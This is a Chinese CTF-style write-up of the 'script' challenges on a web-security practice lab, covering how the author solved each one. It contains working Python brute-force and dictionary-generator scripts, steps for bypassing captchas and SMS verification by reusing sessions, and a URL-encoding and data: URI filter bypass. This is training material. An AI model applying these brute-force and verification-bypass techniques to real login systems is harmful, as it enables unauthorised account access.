新知识!!data协议----网络安全实验室脚本关

文章目录

    • 脚本关
          • 1.小明这次哭了,key又找不到了!!
          • 2.小明要参加一个高技能比赛
          • 3.这个题目是空的
          • 4.怎么就是不弹出key呢?
          • 5.逗比验证码第一期
          • 6. 逗比验证码第二期
          • 7. 逗比的验证码第三期(SESSION)
          • 8.微笑一下就能过关了
    • Data URI scheme
      • Data URI scheme 的语法
          • 9.逗比的手机验证码
          • 10.基情燃烧的岁月
          • 11.验证码识别
        • 接下来就是几道XSS的题目了
          • 12.XSS基础关
          • 13.XSS基础2:简单绕过
          • 14.XSS基础3:检测与构造

脚本关

1.小明这次哭了,key又找不到了!!

新知识!!data协议----网络安全实验室脚本关_第1张图片

  • 打开题目,点击链接,发现网页显示 跳转 到这里去找key
    在这里插入图片描述
  • 进入下一个网站后又提示说key在来的地方
    新知识!!data协议----网络安全实验室脚本关_第2张图片
  • 猜测key应该藏在第一个链接的response里面,开始抓包,再次点击第一个链接,porxy模块抓取到数据后ctrl+r 发送到repeater模块。
    新知识!!data协议----网络安全实验室脚本关_第3张图片
  • 点击send发送,观察得到的response,发现key
    新知识!!data协议----网络安全实验室脚本关_第4张图片
2.小明要参加一个高技能比赛

新知识!!data协议----网络安全实验室脚本关_第5张图片

  • 打开题目
    在这里插入图片描述
  • 提示说要2秒内完成答案的提交,首先随便输入一个答案,抓包,查看数据,发现post的一个 v的参数。
    新知识!!data协议----网络安全实验室脚本关_第6张图片
  • 刷新了几次网页,发现每一次的计算数据都不一样,就不能拼手速了,滑稽。仔细观察一下计算过程,发现只有数据变化,但是计算符号并没有变化,开始准备写脚本。
  • 首先写一个get和post
import requests
import re
url="http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"

data = requests.session()
data_g = data.get(url)
data_g.encoding='utf-8'
# print(data_g.text)

data_p = data.post(url)
data_p.encoding = 'utf-8'
# print(data_p.text)
  • 观察网页源代码,截取需要计算的地方,再使用eval进行计算
import requests
import re

txt = re.findall(r"(.*?)=,data_g.text)
v=eval(txt[0])
  • 此时已经把正确答案算出来了,接下来post数据就可以了
  • 最后的脚本
import requests
import re
url="http://lab1.xseclab.com/xss2_0d557e6d2a4ac08b749b61473a075be1/index.php"

data = requests.session()
data_g = data.get(url)
data_g.encoding='utf-8'
# print(data_g.text)

txt = re.findall(r"(.*?)=,data_g.text)
v=eval(txt[0])

data_p = data.post(url,data={'v':v})
data_p.encoding = 'utf-8'
print(data_p.text)
  • key就在返回的html代码中
3.这个题目是空的

。。。。这就纯粹考脑洞了
新知识!!data协议----网络安全实验室脚本关_第7张图片
提交小写的null即成功。。。。

4.怎么就是不弹出key呢?

新知识!!data协议----网络安全实验室脚本关_第8张图片

  • 进入题目
    在这里插入图片描述
  • 发现点击链接没有反应,查看源码,发现提示
    新知识!!data协议----网络安全实验室脚本关_第9张图片
  • 直接复制下来,修改一下,本地运行
    新知识!!data协议----网络安全实验室脚本关_第10张图片
  • 再次点击,正常弹出
    新知识!!data协议----网络安全实验室脚本关_第11张图片
5.逗比验证码第一期

在这里插入图片描述

  • 打开题目 发现一个登陆界面
    新知识!!data协议----网络安全实验室脚本关_第12张图片
  • 已知密码是4位数字且首位不为0,用户名是admin
  • 观察验证码
  • 发现但cookie发生变化时验证码不一样,反之不会改变
    新知识!!data协议----网络安全实验室脚本关_第13张图片
    新知识!!data协议----网络安全实验室脚本关_第14张图片
  • 观察三个参数名称
    在这里插入图片描述
    随便输入一下点击登陆,抓取到post数据包,ctrl+i 发送到爆破模块,将验证码改了
    新知识!!data协议----网络安全实验室脚本关_第15张图片
    开始使用脚本生成一个字典,这里上一个博主自己写的py的
import itertools
import argparse

times    = 4 #默认输出4位的密码
filename = "dict.txt" #默认的输出文件名
#基础字符
num      = "1234567890" 
word     = "qwertyuiopasdfghjklzxcvbnm" 
WORD     = "QWERTYUIOPASDFGHJKLZXCVBNM"
sp       = "!@#$%&*():"
#模式
class bdata(object):
    mode1    = num #数字
    mode2    = word #小写字母
    mode3    = WORD #大写字母
    mode4    = sp #特殊字符
    mode5    = mode1+mode2 #数字加小写字母
    mode6    = mode1+mode3 #数字加大写字母
    mode7    = mode1+mode4 #数字加特殊字符
    mode8    = mode2+mode3 #小写加大写
    mode9    = mode2+mode4 #小写加特殊字符
    mode10   = mode8+mode1 #大小写字母加数字
def welcome():
    welcome='''
   へ     /|
  /\7  ∠_/
  / │   / /
 │ Z _,< /   /`ヽ
 │     ヽ   /  〉
  Y     `  /  /
 イ● 、 ●  ⊂⊃〈  /
 ()  へ    | \〈
  >ー 、_  ィ  │ //
  / へ   / ノ<| \\
  ヽ_ノ  (_/  │//
  7       |/
  >―r ̄ ̄`ー―_
@authur:flynn
*****py -h发现更多提示*****
    '''
    print(welcome)
def show():
    showdata='''
    默认一共有10种模式
    mode1    #数字
    mode2    #小写字母
    mode3    #大写字母
    mode4    #特殊字符
    mode5    #数字加小写字母
    mode6    #数字加大写字母
    mode7    #数字加特殊字符
    mode8    #小写加大写
    mode9    #小写加特殊字符
    mode10   #大小写字母加数字
    '''
    print(showdata)
    die()
def die():
    print("退出程序 exit!!")
    exit(0)
class dict(object)                      : 
    def __init__(self,filename,mode,times): 
        self.filename = filename
        self.mode     = mode
        self.times    = times
    def  out(self)                    : 
        with open(self.filename,"w") as outfile: 
            indata=itertools.product(self.mode,repeat=self.times) #利用笛卡尔积制造一个迭代对象
            for i in indata:
                outfile.writelines(i) #循环写入到文件
                outfile.write("\n") #换行
        print(">>>>>>>>%s"%outfile.name)
if __name__ == "__main__":
    # oo = dict(filename,mode1,times)
    # oo.out()
    parser = argparse.ArgumentParser()
    parser.add_argument("-m","--mode",
                        help="选择一种模式,默认全部数字(-m mode1)",
                        default='mode1',
                        type=str)
    parser.add_argument("-t","--times",
                        help="指定密码生成位数,默认4位(-t 4)",
                        default=times,
                        type=int)
    parser.add_argument("-f","--file",
                        help="指定输出文件名,默认当前文件夹的dict.txt(-f dict.txt)",
                        default=filename,
                        type=str)
    parser.add_argument("-s","--show",
                        help="模式说明",
                        action='store_true'
                        )
    args = parser.parse_args()

    if args.show:
        show()
        die()
    else:
        welcome()
        m = getattr(bdata,args.mode) #利用getattr来获取aggs.mode值为变量名的值
        print(f"你正准备输出\n由  {m}  构成的\n长  {args.times}  位的密码\n文件将保存为{args.file}\n________________")
        Y=input("我开始咯?(y/n)\n>")
        if Y=='y':
            oo = dict(args.file,m,args.times)
            oo.out()
        else:
            die()


  • 在payload的地方向选择文件,开始攻击,观察攻击的回应数据包,发现有一次登陆成功,发现key
    新知识!!data协议----网络安全实验室脚本关_第16张图片
6. 逗比验证码第二期

在这里插入图片描述

  • 打开题目,和上一道题目差不多,初步观察后发现cookie不变,验证码依然发生改变
    新知识!!data协议----网络安全实验室脚本关_第17张图片
    新知识!!data协议----网络安全实验室脚本关_第18张图片
  • 但是发现在请求的是否有一次get验证码的数据包
    新知识!!data协议----网络安全实验室脚本关_第19张图片
  • 可以将其修改为指定的验证码。。。然后没有啥子思路了,,直到,,,我试了一下,,只要验证一次验证码之后,再使用相同的cookie登陆且不输入验证码就不会对验证码进行检查,,这是什么鬼
    新知识!!data协议----网络安全实验室脚本关_第20张图片
  • 那么这就好办了,首先在浏览器输入正确的验证码登陆,但不抓取该post,重新回到登录界面,输入任意密码不输入验证码登陆并抓取着post数据包,将其ctrl+i发送到爆破模块
    新知识!!data协议----网络安全实验室脚本关_第21张图片
  • 同样的使用上一道题的字典文件作为payload,开始攻击,观察response,很快就发现了key
    新知识!!data协议----网络安全实验室脚本关_第22张图片
7. 逗比的验证码第三期(SESSION)

在这里插入图片描述

  • 打开题目,多了一个提示session
    新知识!!data协议----网络安全实验室脚本关_第23张图片
    经过测试,发现每一次的验证码都会发生变化
  • 提示所使用session,那么就在同一个会话中完成爆破,bp里也可以爆破,和上一道题是差不多的,这里写一个脚本了

本来的思路是先get一下得到验证码的图片链接,然后手动输入构造payload,结果后面发现不管第一次验证是否正确,后面的post只要不加验证码就不会触发验证码验证,所以这里可以直接post爆破

import requests
import re
import os

url = "http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/index.php"
urllogin ="http://lab1.xseclab.com/vcode3_9d1ea7ad52ad93c04a837e0808b17097/login.php"

po = requests.session() #维持会话

# gg = po.get(url)

# pic_url=re.findall(r'src="(.*?)"',gg.text)
# pic_url=pic_url[0]
# print(f"本次访问的验证码是{pic_url}\n")
# vcode=input("请输入验证码>")
# po.post(urllogin,data={"username":'admin',"pwd":"","vcode":vcode})
#可以不用这一步
with open("dict.txt") as target:
    passwd=target.readlines()
    for i in passwd:
        os.system("clear")#清屏操作,win系统可以将clear改为cls
        payload={
            "username":'admin',
            "pwd":i.replace("\n",""),
            "vcode":"",
        }
        pp = po.post(urllogin,data=payload)
        print(i)
        if not re.findall(r'(.*?)pwd',pp.text):
             print(pp.text)
             exit(0)
        
        print(pp.text)
  • 这里稍微记一下,在写脚本的时候,因为忘记将读取文件的每行的换行符去掉,导致卡了好久。。。
    新知识!!data协议----网络安全实验室脚本关_第24张图片
8.微笑一下就能过关了

在这里插入图片描述

  • 打开题目,说使用微笑过关源代码
    新知识!!data协议----网络安全实验室脚本关_第25张图片
    看一下源代码,发现一个链接,戳进去
    在这里插入图片描述
    可以发现php的代码,smile的初值为1,且只有最后一个if会输出flag,
    第一个if,若get里面没有^ _ ^参数 那么smile将会为0
    第2-7个if,若 ^ _^参数里面有某些字符,那么,smile将为0
    第8个if,若查询参数即链接?后面有下划线,那么smile将为0
    第9个if,若smile为真,检查get中 ^ _^是否存在,存在smile为0
    新知识!!data协议----网络安全实验室脚本关_第26张图片
    观察最后一个if,如果smile为真,smile变量获取 ^ _^的值,如果smile强等与"(●’◡’●)",那么输出flag,结束脚本
    在这里插入图片描述
  • 首先在?后面不能有 ^ _^,那么就需要url编码绕过,将其转换一下,得到
    新知识!!data协议----网络安全实验室脚本关_第27张图片
    然后smile需要强等与"(●’◡’●)",接下来涉及到一个新知识data协议

Data URI scheme

简称 Data URI,经常会被错误地写成 data URLs。即前缀为data:协议的的URL,其允许内容创建者向文档中嵌入小文件。
新知识!!data协议----网络安全实验室脚本关_第28张图片

Data URI scheme 的语法

data:①[<mime type>][;charset=<charset>][;<encoding>]④,<encoded data>
  • 第①部分data: 协议头,它标识这个内容为一个 data URI 资源。
  • 第②部分MIME 类型(可选项):浏览器通常使用MIME类型(而不是文件扩展名)来确定如何处理文档;因此服务器设置正确以将正确的MIME类型附加到响应对象的头部是非常重要的。MIME类型对大小写不敏感,但是传统写法都是小写
    新知识!!data协议----网络安全实验室脚本关_第29张图片
  • 第③部分 [;charset=] (可选项): 源文本的字符集编码方式,默认编码是 charset=US-ASCII, 即数据部分的每个字符都会自动编码为 %xx
  • 第④部分 [;] : 数据编码方式(默认US-ASCII,BASE64两种)
  • 第⑤部分 , : 编码后的数据

data协议资料来源

那么现在就可以构造链接,
在这里插入图片描述

9.逗比的手机验证码

在这里插入图片描述

  • 打开题目
    新知识!!data协议----网络安全实验室脚本关_第30张图片
  • 尝试获取验证码,输入,登陆,发现提示要以另外一个手机号登陆,
    在这里插入图片描述
  • 回到登陆页面,修改手机号,尝试获取验证码,失败
    新知识!!data协议----网络安全实验室脚本关_第31张图片
    这里抓包改包之后也没有什么发现,验证码都是4位数字,可以尝试爆破
    新知识!!data协议----网络安全实验室脚本关_第32张图片
    再次尝试之后,发现,使用666的手机号得到的验证码,667也可以用,直接登陆
    在这里插入图片描述
    在这里插入图片描述
10.基情燃烧的岁月

新知识!!data协议----网络安全实验室脚本关_第33张图片
-打开题目
新知识!!data协议----网络安全实验室脚本关_第34张图片
获取验证码,发现看不到,应该只能爆破了
新知识!!data协议----网络安全实验室脚本关_第35张图片
使用博主自己的脚本生成字典

>>python -u DictMaker.py -t 3

                       へ     /|
                      /\7  ∠_/
                      / │   / /
                     │ Z _,< /   /`ヽ
                     │     ヽ   /  〉
                      Y     `  /  /
                     イ● 、 ●  ⊂⊃〈  /
                     ()  へ    | \〈
                      >ー 、_  ィ  │ //
                      / へ   / ノ<| \\
                      ヽ_ノ  (_/  │//
                      7       |/
                      >―r ̄ ̄`ー―_


                        @authur:flynn
                *******py -h发现更多提示*******
    
你正准备输出
由  1234567890  构成的
长  3  位的密码
文件将保存为dict.txt
________________
我开始咯?(y/n)
>y
>>>>>>>>dict.txt

  • 在bp中编辑爆破发送数据,指定刚刚的字典文件为payload,开始爆破
    新知识!!data协议----网络安全实验室脚本关_第36张图片
  • 观察response,发现不同数据
    新知识!!data协议----网络安全实验室脚本关_第37张图片
  • 有一些因为编码问题看不了,使用render预览页面
    新知识!!data协议----网络安全实验室脚本关_第38张图片
  • 发现前任的手机号,提示去登陆这个手机号,好的改一下发送数据的手机号,重新爆破
    在这里插入图片描述
  • 很快就发现了key
    新知识!!data协议----网络安全实验室脚本关_第39张图片
11.验证码识别

新知识!!data协议----网络安全实验室脚本关_第40张图片

  • 打开题目,发现这次除了一个手机验证码还需要一个客户端验证码
    新知识!!data协议----网络安全实验室脚本关_第41张图片
  • 而且手机验证码无法直接查看
    在这里插入图片描述
  • 查看源代码,发现手机验证码是三位数
    新知识!!data协议----网络安全实验室脚本关_第42张图片
  • 多次刷新后发现客户端验证码是4位数字,切由php脚本提供,需要去识别验证码
  • 发现一个win下的工具Pkav Http Fuzzer,可以作为爆破模块使用,首先将抓取到的post复制到pkav的变体设置请求包里面
    新知识!!data协议----网络安全实验室脚本关_第43张图片
  • 然后设置对应的验证码标记和普通标记
    新知识!!data协议----网络安全实验室脚本关_第44张图片
  • 在右边导入字典
    新知识!!data协议----网络安全实验室脚本关_第45张图片
  • 选择图片型验证码,观察网页源代码可以发现是一个vcode.php在提供验证码
    新知识!!data协议----网络安全实验室脚本关_第46张图片
  • 选择发包器,启动,第一次使用发现一直返回手机还未申请验证码什么的
  • 后来把重放选项改为单线程后,才正常起来,折腾了几个小时,,,,,
    在这里插入图片描述
    改了之后再启动,很快就可以发现key
    新知识!!data协议----网络安全实验室脚本关_第47张图片

接下来就是几道XSS的题目了

12.XSS基础关

在这里插入图片描述

  1. 打开题目
    在这里插入图片描述
  2. 随意输入字符提交,发现提交的字符会在welcome后面显示
    新知识!!data协议----网络安全实验室脚本关_第48张图片
  3. 查看网页源代码,发现xss_check
    在这里插入图片描述
  4. 点击进去,观察源码,这是js语言,,吐槽一下,,为什么信安专业感觉啥都要学,,前端也好,后端也好,还有网络,还有一点法律。。。,,,
    新知识!!data协议----网络安全实验室脚本关_第49张图片
  5. 来分析一下敖,大致上首先有两个函数,一个newAlert,一个showkey,然后里面有一行注释说没有任何加密,应该是可以直接输入xss语句的
orgAlert = window.alert;//alert() 方法用于显示警告框
ok = 0;
var HackingLab="success!";//var声明变量hackinglab
function newAlert(a) { //定义了名为newAlert的函数,形参a
    window.alert = orgAlert;//这一句看的我有点蒙
    if (a == HackingLab) {//若形参a等于变量hack的值,那么
        if (ok == 0) ok = 1;//若ok为0,那么ok重新赋值为1
        alert(a);//将a的信息弹窗出去
        $.post("./getkey.php?ok=1",{'url':location.href,'ok':ok},function(data){console.log(data);
        });
        //使用post发送数据到"./getkey.php?ok=1",
        //发送了一个字典过去'url':location.href,'ok':ok
        //
        //console.log(data)向控制台输出信息
        showkey();//调用显示key的函数
    } else {//若形参a不等于变量hack的值,那么
        alert(a);
        alert("Please use alert(HackingLab)!!");
    }
}
window.alert = newAlert;//调用函数
function showkey(){
//XSS题目要自觉.....无论如何都是可以绕过的,索性不加密不编码js了,大家一起玩吧.
	var url="./getkey.php";
    $.post(url,{"getkey":"azzakj"},function(data){
	$("#msg").text(data);	
   });
}

  1. 经过简单分析,可以知道只要满足if (a == HackingLab)就可以调用showkey函数输出key,这里HackingLab=“success!”,打开浏览器控制台,输入信息
    新知识!!data协议----网络安全实验室脚本关_第50张图片
    根据已知的代码,页面会首先 alert(a);//将a的信息弹窗出去
    在这里插入图片描述
    然后post数据,调用showkey函数
    新知识!!data协议----网络安全实验室脚本关_第51张图片
13.XSS基础2:简单绕过

在这里插入图片描述
1.打开题目,和刚刚那一个差不多的页面
新知识!!data协议----网络安全实验室脚本关_第52张图片
2.查看源代码,提示说用alert过关,点击xss_check链接
新知识!!data协议----网络安全实验室脚本关_第53张图片
3.。。。发现和刚刚那个一模一样,,,依然没有加密啥的
新知识!!data协议----网络安全实验室脚本关_第54张图片
4.使用刚刚的方法,得到key
新知识!!data协议----网络安全实验室脚本关_第55张图片
新知识!!data协议----网络安全实验室脚本关_第56张图片

14.XSS基础3:检测与构造

新知识!!data协议----网络安全实验室脚本关_第57张图片
1.打开题目,直接去看源代码,,发现check还是一样,老办法,直接出来了key。。。,我怀疑下一道题也可以。。。还真的可以,,,
新知识!!data协议----网络安全实验室脚本关_第58张图片

你可能感兴趣的:(CTFwriteup,#,网络安全实验室)